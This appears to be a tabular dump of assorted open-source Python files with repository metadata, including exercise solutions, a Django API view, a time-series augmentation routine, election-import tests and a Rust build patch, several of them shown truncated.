# -*- coding: utf-8 -*-
# This file is part of CbM (https://github.com/ec-jrc/cbm).
# Author : Daniele Borio, Csaba WIRNHARDT
# Credits : GTCAP Team
# Copyright : 2021 European Commission, Joint Research Centre
# License : 3-Clause BSD
# Created on Sun Oct 31 10:41:24 2021
from ipywidget... | 30.881566 | 97 | 0.506541 |
702f6a054412ee7a4c5409d20e64615dfc061a96 | 894 | py | Python | challenges/integerToStringOfFixedWidth/python3/integerToStringOfFixedWidth.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 5 | 2020-05-21T03:02:34.000Z | 2021-09-06T04:24:26.000Z | challenges/integerToStringOfFixedWidth/python3/integerToStringOfFixedWidth.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 6 | 2019-04-24T03:39:26.000Z | 2019-05-03T02:10:59.000Z | challenges/integerToStringOfFixedWidth/python3/integerToStringOfFixedWidth.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 1 | 2021-09-06T04:24:27.000Z | 2021-09-06T04:24:27.000Z | def integerToStringOfFixedWidth(number, width):
s = str(number)
n = len(s)
return s[n-width:] if n > width else '0'*(width-n) + s
if __name__ == '__main__':
input0 = [1234, 1234, 1234, 0, 89, 23456, 899]
input1 = [2, 4, 5, 1, 4, 4, 3]
expectedOutput = ["34", "1234", "01234", "0", "0089", "3456", "899"]
assert l... | 59.6 | 142 | 0.670022 |
8e8f0e52eb44f188a689db93a6400ce50ca509c3 | 8,491 | py | Python | DataProcess/augmentation/dba.py | ZhangQiHang-98/RFID_Scirpt | 0f74087add4cf16e2d201ad4f31cc1abd287db7e | [
"MIT"
] | 3 | 2021-12-24T04:52:03.000Z | 2021-12-27T02:14:49.000Z | DataProcess/augmentation/dba.py | ZhangQiHang-98/RFID_Scirpt | 0f74087add4cf16e2d201ad4f31cc1abd287db7e | [
"MIT"
] | null | null | null | DataProcess/augmentation/dba.py | ZhangQiHang-98/RFID_Scirpt | 0f74087add4cf16e2d201ad4f31cc1abd287db7e | [
"MIT"
] | null | null | null | import numpy as np
import utils
from knn import get_neighbors
import random
# 计算给定序列集的两两之间的DTW距离
def calculate_dist_matrix(tseries, dist_fun, dist_fun_params):
# 将tseries中的时间序列进行reshape
N = len(tseries)
pairwise_dist_matrix = np.zeros((N, N), dtype=np.float64)
# pre-compute the pairwise distance 计算两两... | 38.771689 | 99 | 0.633965 |
15d901f37d3900e465e9c68d998a59015c4bbf68 | 427 | py | Python | src/isotypes/isotype.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/isotypes/isotype.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/isotypes/isotype.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | # isotype
!pip install pywaffle
from pywaffle import Waffle
import matplotlib.pyplot as plt
data = {"Democratic": 48, "Republican": 46, "Libertarian": 3}
fig = plt.figure(
figsize=(10,10),
FigureClass=Waffle,
rows=5,
values=data,
colors=["#232066", "#983D3D", "#DCB732"],
legend={"loc": "upper... | 21.35 | 61 | 0.637002 |
c604e25174cfb664edf5e2a3911e5761485bcbc6 | 599 | py | Python | back-end/create_table.py | ludanxer/MovieShop | 1fd757943edf85e55b60a295249f5447db46563b | [
"MIT"
] | 1 | 2019-05-27T15:46:38.000Z | 2019-05-27T15:46:38.000Z | back-end/create_table.py | ludanxer/MovieShop | 1fd757943edf85e55b60a295249f5447db46563b | [
"MIT"
] | null | null | null | back-end/create_table.py | ludanxer/MovieShop | 1fd757943edf85e55b60a295249f5447db46563b | [
"MIT"
] | null | null | null | import pyhive
# cursor = hive.connect(host='localhost', port='10000').cursor()
# cursor.execute('create table cart(id varchar(50), title varchar(50), actor varchar(50), director varchar(50), \
# time varchar(50), price float, genre varchar(50), review int)')
# cursor.close()
# cursor.execute('drop ta... | 37.4375 | 113 | 0.679466 |
d6d105cb9413390ace4f886ebcb7c4d4289f490b | 1,382 | py | Python | cs/lambda_cs/08_interview_prep/exercises/two_sum.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | null | null | null | cs/lambda_cs/08_interview_prep/exercises/two_sum.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | 8 | 2020-03-24T17:47:23.000Z | 2022-03-12T00:33:21.000Z | cs/lambda_cs/08_interview_prep/exercises/two_sum.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | null | null | null | """
Interview Practice :: Exercises
LeetCode: Two Sum
Given an array of integers, return indices of the two numbers such that they add up to a
specific target.
You may assume that each input would have exactly one solution, and you may not use the
same element twice.
"""
from typing import List
def two_sum(nums: L... | 20.626866 | 88 | 0.559334 |
d6f90c1ff5053bd8467651bf935afb6bd4722a8c | 537 | py | Python | backend/api/views.py | saulhappy/drf | 5e62da54cdf0f0fead742c891d34e7eacd488a1b | [
"MIT"
] | null | null | null | backend/api/views.py | saulhappy/drf | 5e62da54cdf0f0fead742c891d34e7eacd488a1b | [
"MIT"
] | null | null | null | backend/api/views.py | saulhappy/drf | 5e62da54cdf0f0fead742c891d34e7eacd488a1b | [
"MIT"
] | null | null | null | from django.http import JsonResponse
from django.forms.models import model_to_dict
from products.models import Product
from rest_framework.decorators import api_view
from rest_framework.response import Response
from products.serializers import ProductSerializer
@api_view(["GET", "POST"])
def api_home(request, *args, ... | 33.5625 | 53 | 0.778399 |
24398a3bc6e17f231ffc58379985185b1cd34e0b | 109 | py | Python | login.py | pkxiao/test21 | 846909d2c2233013ba4d1168cb7a38b1c053b96a | [
"MIT"
] | null | null | null | login.py | pkxiao/test21 | 846909d2c2233013ba4d1168cb7a38b1c053b96a | [
"MIT"
] | null | null | null | login.py | pkxiao/test21 | 846909d2c2233013ba4d1168cb7a38b1c053b96a | [
"MIT"
] | null | null | null | num = 1
num = 2
num = 3
num1 = [1, 2]
怒骂
d1= {'1':'2', '2':'2'}
age = 90
name = "xiaoxiao"
gender = "boy"
| 10.9 | 22 | 0.477064 |
0320ab04b555c7f39c215660848ed06aff7a7e8b | 421 | py | Python | Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/000Exercicios/05construtores/produto.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/000Exercicios/05construtores/produto.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/000Exercicios/05construtores/produto.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | class Produto:
def __init__(self, nome, preco=0, quantidade=0):
self.nome = nome
self.preco = preco
self.quantidade = quantidade
def valorTotalEstoque(self):
return self.preco * self.quantidade
def addProdutos(self, quantidade):
self.quantidade += quan... | 24.764706 | 52 | 0.615202 |
0635920bfc00c4c711337d700bac5ed6ab6be81f | 179 | py | Python | src/ztc/php/__init__.py | magistersart/ZTC_fork | ce72734ea575d9846b5b81f3efbfd14fa1f7e532 | [
"PostgreSQL"
] | null | null | null | src/ztc/php/__init__.py | magistersart/ZTC_fork | ce72734ea575d9846b5b81f3efbfd14fa1f7e532 | [
"PostgreSQL"
] | null | null | null | src/ztc/php/__init__.py | magistersart/ZTC_fork | ce72734ea575d9846b5b81f3efbfd14fa1f7e532 | [
"PostgreSQL"
] | null | null | null | #!/usr/bin/env python
"""
ZTC php module - PHP-related checks
This file is part of ZTC
Copyright (c) 2011-2012 Vladimir Rusinov <vladimir@greenmice.info>
License: GNU GPL3
"""
| 16.272727 | 66 | 0.726257 |
06b1482b76ec65c1c8a3e481007aa05781e746ab | 447 | py | Python | gcposm/utils.py | domyos/gcp-osm | 844ab7b701e33a1530233c732b6170b5704704a8 | [
"MIT"
] | null | null | null | gcposm/utils.py | domyos/gcp-osm | 844ab7b701e33a1530233c732b6170b5704704a8 | [
"MIT"
] | null | null | null | gcposm/utils.py | domyos/gcp-osm | 844ab7b701e33a1530233c732b6170b5704704a8 | [
"MIT"
] | null | null | null | import os
def get_all_files(filename):
processing_files = []
for root, dirs, files in os.walk(filename):
for file in files:
filepath = os.path.join(root, file)
if os.path.isfile(filepath):
#print("file", filepath)
processing_files.append(filepath... | 21.285714 | 49 | 0.606264 |
ebefbb9523a1f627d6c7af483e16b99105c5646c | 17,131 | py | Python | tests/onegov/election_day/formats/vote/test_wabsti.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/election_day/formats/vote/test_wabsti.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/election_day/formats/vote/test_wabsti.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | import tarfile
from datetime import date
from io import BytesIO
from onegov.ballot import ComplexVote
from onegov.ballot import Vote
from onegov.election_day.formats import import_vote_wabsti
from onegov.election_day.models import Canton
from tests.onegov.election_day.common import get_tar_file_path, \
create_princ... | 34.678138 | 77 | 0.382348 |
2304453098b7a8b6e5ad22d3416f76b81c984e87 | 379 | py | Python | Python/Exercícios_Python/049_soma_ímpares_múltiplos_de_três.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | Python/Exercícios_Python/049_soma_ímpares_múltiplos_de_três.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | Python/Exercícios_Python/049_soma_ímpares_múltiplos_de_três.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""049 - Soma ímpares múltiplos de três
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1jufhK42l1vfu0kZjXRu0A90la-77izgW
"""
s = 0
for c in range(3, 500, 2):
t = c % 3
if t == 0:
s += + c
print('A soma de todos ... | 25.266667 | 82 | 0.649077 |
231612c00222285b860e0601f139613c70122a87 | 673 | py | Python | Pythonjunior2020/Woche3/daten.py | Zeyecx/HPI-Potsdam | ed45ca471cee204dde74dd2c3efae3877ee71036 | [
"MIT"
] | null | null | null | Pythonjunior2020/Woche3/daten.py | Zeyecx/HPI-Potsdam | ed45ca471cee204dde74dd2c3efae3877ee71036 | [
"MIT"
] | null | null | null | Pythonjunior2020/Woche3/daten.py | Zeyecx/HPI-Potsdam | ed45ca471cee204dde74dd2c3efae3877ee71036 | [
"MIT"
] | null | null | null | # Die Bibliothek ist nur dem der HPI nachgemacht.
# Imports
from random import randint
# Aufgabe 3.2.1
anzahl_hinfahrt = randint(1,20)
anzahl_rueckfahrt = randint(1,20)
# Aufgabe 3.2.2
liste = ['London', 'Berlin', 'Bonn', 'Budapest', 'Hamburg', 'Rom', 'Paris', 'München', 'New York', 'Bremen', 'Beijing']
buchstabe = ... | 22.433333 | 119 | 0.56315 |
232275958105bda031af3feb55d03d14d69139f5 | 300 | py | Python | Code/JSON/ZKM/main.py | miku/haw-di-bim-lv22 | 5e3dd1f7a1eb02ebbe5cc801bd8094618d6525e3 | [
"MIT"
] | null | null | null | Code/JSON/ZKM/main.py | miku/haw-di-bim-lv22 | 5e3dd1f7a1eb02ebbe5cc801bd8094618d6525e3 | [
"MIT"
] | null | null | null | Code/JSON/ZKM/main.py | miku/haw-di-bim-lv22 | 5e3dd1f7a1eb02ebbe5cc801bd8094618d6525e3 | [
"MIT"
] | null | null | null |
import json
with open("export.json") as f:
doc = json.load(f)
# (1) count incoming
# (2) count outgoing
out = 0
in_ = 0
for item in doc["data"]["bibliothek_ausleihe_ausgang-eingang"]:
if item["outgoing"]:
out += 1
if item["incoming"]:
in_ += 1
print(out)
print(in_)
| 14.285714 | 63 | 0.603333 |
88c4b43d6ad3691560a4903e72dc1ff59e445a50 | 1,895 | py | Python | source/pkgsrc/lang/rust/patches/patch-src_bootstrap_bootstrap.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-11-20T22:46:39.000Z | 2021-11-20T22:46:39.000Z | source/pkgsrc/lang/rust/patches/patch-src_bootstrap_bootstrap.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | source/pkgsrc/lang/rust/patches/patch-src_bootstrap_bootstrap.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | $NetBSD: patch-src_bootstrap_bootstrap.py,v 1.7 2021/09/10 15:09:32 jperkin Exp $
Use `uname -p` on NetBSD, as that is reliable and sensible there.
Do not use debuginfo; optimize 'bootstrap' instead.
Handle earmv7hf for NetBSD.
--- src/bootstrap/bootstrap.py.orig 2021-02-10 17:36:44.000000000 +0000
+++ src/bootstrap/... | 36.442308 | 81 | 0.585224 |
88c860558c59394b8aec038b5786694c6c74e307 | 14,313 | py | Python | riqc/libs/annotation.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | riqc/libs/annotation.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | riqc/libs/annotation.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | import pysam
import scipy.stats as spst
import numpy as np
import time
from . import utils as ut
import os
from functools import reduce
# Some Numbers
NMB_CHR = 23
# GFF and GTF column numbers
SEQ_NAME = 0 # name of chromosome or scaffold
SOURCE = 1 # name of program that generated this feature
FEATURE = 2 ... | 35.167076 | 116 | 0.5757 |
ccd348d322af86556769277df44e9947e2b22812 | 4,069 | py | Python | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/pybedtools-0.7.6-py2.7-linux-x86_64.egg/pybedtools/__init__.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 1 | 2019-07-29T02:53:51.000Z | 2019-07-29T02:53:51.000Z | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/pybedtools-0.7.6-py2.7-linux-x86_64.egg/pybedtools/__init__.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 1 | 2021-09-11T14:30:32.000Z | 2021-09-11T14:30:32.000Z | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/pybedtools-0.7.6-py2.7-linux-x86_64.egg/pybedtools/__init__.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 2 | 2016-12-19T02:27:46.000Z | 2019-07-29T02:53:54.000Z | from __future__ import print_function
import os
import sys
import subprocess
import tempfile
import logging
from six.moves import urllib
from six.moves import copyreg
from . import scripts
from .cbedtools import (Interval, IntervalFile, overlap, Attributes,
MalformedBedLineError, IntervalIterato... | 31.3 | 79 | 0.664045 |
4e3afa77b658fb29d52347541d8808cf0ce73e8c | 484 | py | Python | src/data/invert_colors.py | klawr/deepmech | 61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff | [
"MIT"
] | 1 | 2020-04-17T12:27:06.000Z | 2020-04-17T12:27:06.000Z | src/data/invert_colors.py | klawr/deepmech | 61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff | [
"MIT"
] | 1 | 2022-02-27T13:13:17.000Z | 2022-02-27T13:13:17.000Z | src/data/invert_colors.py | klawr/deepmech | 61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff | [
"MIT"
] | null | null | null |
import cv2
from os import path
directory = path.join('processed', 'x')
# rename o/1201.png to o/1004.png (bad data...)
# rename x/1204.png to x/647.png (bad data...)
def invert_image(basename):
image_path = path.join(directory, basename) + '.png'
image = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)
image ... | 23.047619 | 56 | 0.663223 |
9d78ebf8866ba75969bdaad39b44344a2ee2e28d | 1,107 | py | Python | SoSe-21/Uebung-9/A2-Provisionsberechnung.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | 1 | 2022-03-23T09:40:39.000Z | 2022-03-23T09:40:39.000Z | SoSe-21/Uebung-9/A2-Provisionsberechnung.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | null | null | null | SoSe-21/Uebung-9/A2-Provisionsberechnung.py | jonasrdt/Wirtschaftsinformatik2 | 30d5d896808b98664c55cb6fbb3b30a7f1904d9f | [
"MIT"
] | null | null | null | import os
# aktuelles Verzeichnis der Datei
aktVerzeichnis = os.path.dirname(__file__)
# Dateiname 1 zum Lesen
dateiname1 = os.path.join(aktVerzeichnis, 'umsatz.csv')
# Dateiname 2 zum Schreiben
dateiname2 = os.path.join(aktVerzeichnis, 'umsatz_mod.csv')
# Datei öffnen
datei1 = open(dateiname1, 'r')
# Datei zum Sc... | 25.744186 | 75 | 0.633243 |
d1e17bf09ac7cb877006348ebe29fc0618135264 | 4,170 | py | Python | Packs/TaniumThreatResponse/Integrations/TaniumThreatResponse/TaniumThreatResponse_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/TaniumThreatResponse/Integrations/TaniumThreatResponse/TaniumThreatResponse_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/TaniumThreatResponse/Integrations/TaniumThreatResponse/TaniumThreatResponse_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | PROCESS_TREE_RAW = [
{
"id": 3,
"ptid": 3,
"pid": 1,
"name": "1: <Pruned Process>",
"parent": "4: System",
"children": [
{
"id": 44,
"ptid": 44,
"pid": 4236,
"name": "4236: mmc.exe",
... | 24.244186 | 89 | 0.393525 |
ae56cda11c115b59fccdd86dc9b38eb322e0c64e | 2,633 | py | Python | program.py | ThirtySomething/TaRen | ef09e8616c45bcb97afcea3ad4844ae6fade7525 | [
"MIT"
] | null | null | null | program.py | ThirtySomething/TaRen | ef09e8616c45bcb97afcea3ad4844ae6fade7525 | [
"MIT"
] | null | null | null | program.py | ThirtySomething/TaRen | ef09e8616c45bcb97afcea3ad4844ae6fade7525 | [
"MIT"
] | null | null | null | '''
******************************************************************************
Copyright 2020 ThirtySomething
******************************************************************************
This file is part of TaRen.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and ... | 38.15942 | 83 | 0.690467 |
c9ca81b708090b814ea60631898230715c2d0c25 | 870 | py | Python | Problems/BinarySearch/Medium/FindFirstlastPositionElementSortedArray/find_first_last_position_element_sorted_array.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/BinarySearch/Medium/FindFirstlastPositionElementSortedArray/find_first_last_position_element_sorted_array.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/BinarySearch/Medium/FindFirstlastPositionElementSortedArray/find_first_last_position_element_sorted_array.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | from typing import List
def searchRange(self, nums: List[int], target: int) -> List[int]:
n = len(nums)
def binarySearchLeft(x: int) -> int:
idx = -1
l, r = 0, n - 1
while l <= r:
m = (l + r) >> 1
if nums[m] == x:
idx = m
r = m -... | 24.166667 | 69 | 0.371264 |
4e69808273ed9547f6d25b87698122bd1b5e8361 | 873 | py | Python | Python/M01_ProgrammingBasics/L02_ConditionalStatements/Exercises/Solutions/P04_MetricConverter.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M01_ProgrammingBasics/L02_ConditionalStatements/Exercises/Solutions/P04_MetricConverter.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M01_ProgrammingBasics/L02_ConditionalStatements/Exercises/Solutions/P04_MetricConverter.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | 1 | 2022-02-23T13:03:14.000Z | 2022-02-23T13:03:14.000Z | number = float(input())
number_type = input()
result_type = input()
if number_type == 'mm':
good_number = number
if result_type == 'mm':
final_number = good_number
elif result_type == "cm":
final_number = good_number * 0.1
else:
final_number = good_number * 0.001
print(f'{fi... | 26.454545 | 42 | 0.613975 |
09b462c8f65a9ee15e50fc58f3f87e9ca146c1d0 | 174 | py | Python | python/python_backup/PRAC_PYTHON/ab8.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/python_backup/PRAC_PYTHON/ab8.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/python_backup/PRAC_PYTHON/ab8.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | n=input("Give number:");
m=input("Give number:");
if(n>m):
c=n
d=m
else:
c=m
d=n
while(c%d !=0):
k=c%d
c=d
d=k
print"HCF:",d
| 10.875 | 25 | 0.413793 |
a35474cfbf9be1a98b0609be08209f7b5a5bb0ed | 811 | py | Python | script_8_data_clim.py | melioristic/FANPY | 2d68d222de4f1e6d6d802268253ce446cd924914 | [
"MIT"
] | 1 | 2021-04-23T19:47:51.000Z | 2021-04-23T19:47:51.000Z | script_8_data_clim.py | melioristic/FANPY | 2d68d222de4f1e6d6d802268253ce446cd924914 | [
"MIT"
] | null | null | null | script_8_data_clim.py | melioristic/FANPY | 2d68d222de4f1e6d6d802268253ce446cd924914 | [
"MIT"
] | null | null | null | from fanpy import read_climate
import matplotlib.pylab as plt
home_dir = '/p/project/hai_hhhack/anand1/'
project_data_path = home_dir + 'Project_Data/forest-carbon-flux/'
plot_path = project_data_path+f'graphics/irr_hist.png'
col = 1 # 5
row = 1 # 4
fig, axes = plt.subplots(col,row, figsize = (20,16))
for i in r... | 27.033333 | 82 | 0.649815 |
a3895d73172dba8cd728b4cbb58f59d39dca281a | 366 | py | Python | musterloesungen/4.2/fahrenheit_umrechner.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | musterloesungen/4.2/fahrenheit_umrechner.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | musterloesungen/4.2/fahrenheit_umrechner.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Kurs: Python: Grundlagen der Programmierung für Nicht-Informatiker
# Semester: Herbstsemester 2018
# Homepage: http://accaputo.ch/kurs/python-uzh-hs-2018/
# Author: Giuseppe Accaputo
# Aufgabe: 4.2
def celsius(f):
c = (f - 32) * 5 / 9
return c
print(celsius... | 24.4 | 76 | 0.63388 |
286dd7d3f3e619d6b5053c91425df847a52890f3 | 324 | py | Python | Python/Exercícios_Python/009_tabuada.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | Python/Exercícios_Python/009_tabuada.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | Python/Exercícios_Python/009_tabuada.py | vdonoladev/aprendendo-programacao | 83abbcd6701b2105903b28fd549738863418cfb8 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""009 - Tabuada
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1m90lR0zrCjL4lEzcCx53t2Y7qOxjuuPE
"""
valor = int(input('Digite um número: '))
for contar in range(1,11):
print('{} x {} = {}'.format(valor, contar, valor*cont... | 27 | 77 | 0.691358 |
95a483e6d621979b3a23f94a00dfaf5f0ba7c581 | 57 | py | Python | yolov5-coreml-tflite-converter/utils/setup.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | yolov5-coreml-tflite-converter/utils/setup.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | yolov5-coreml-tflite-converter/utils/setup.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | from setuptools import setup
setup(
name="utils",
)
| 9.5 | 28 | 0.684211 |
95d446426573e327b979abe776a3db69375e30c5 | 1,024 | py | Python | plugins/tff_backend/migrations/ensure_intercom_users.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | null | null | null | plugins/tff_backend/migrations/ensure_intercom_users.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 178 | 2017-08-02T12:58:06.000Z | 2017-12-20T15:01:12.000Z | plugins/tff_backend/migrations/ensure_intercom_users.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 2 | 2018-01-10T10:43:12.000Z | 2018-03-18T10:42:23.000Z | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | 30.117647 | 74 | 0.764648 |
66037b8958bae84f3c6348337503adec980f0f81 | 529 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v4_1/fix_sales_order_delivered_status.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:55:29.000Z | 2021-04-29T14:55:29.000Z | frappe-bench/apps/erpnext/erpnext/patches/v4_1/fix_sales_order_delivered_status.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v4_1/fix_sales_order_delivered_status.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:39:01.000Z | 2021-04-29T14:39:01.000Z | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
def execute():
for si in frappe.db.sql_list("""select name
from `tabSales Invoice`
where ifnull(update_stock,0) = 1 and docstatus = ... | 33.0625 | 84 | 0.731569 |
b0e7e876733524b95bfc627ac964717332ac7851 | 967 | py | Python | v703/python/fehler.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | 2 | 2019-12-10T10:25:11.000Z | 2021-01-26T13:59:40.000Z | v703/python/fehler.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | null | null | null | v703/python/fehler.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | 1 | 2020-12-06T21:24:58.000Z | 2020-12-06T21:24:58.000Z | import sympy
import numpy as np
def error(f, err_vars=None):
from sympy import Symbol, latex
s = 0
latex_names = dict()
if err_vars == None:
err_vars = f.free_symbols
for v in err_vars:
err = Symbol('latex_std_' + v.name)
s += f.diff(v)**2 * err**2
latex_names[err... | 21.977273 | 90 | 0.623578 |
9fd41d62f349150eef365c326413dbf0c6f38ac5 | 336 | py | Python | day01/bandNameGenerator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | day01/bandNameGenerator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | day01/bandNameGenerator.py | nurmatthias/100DaysOfCode | 22002e4b31d13e6b52e6b9222d2e91c2070c5744 | [
"Apache-2.0"
] | null | null | null | # Generator fragt nach der Heimatstadt und dem Haustiernamen und
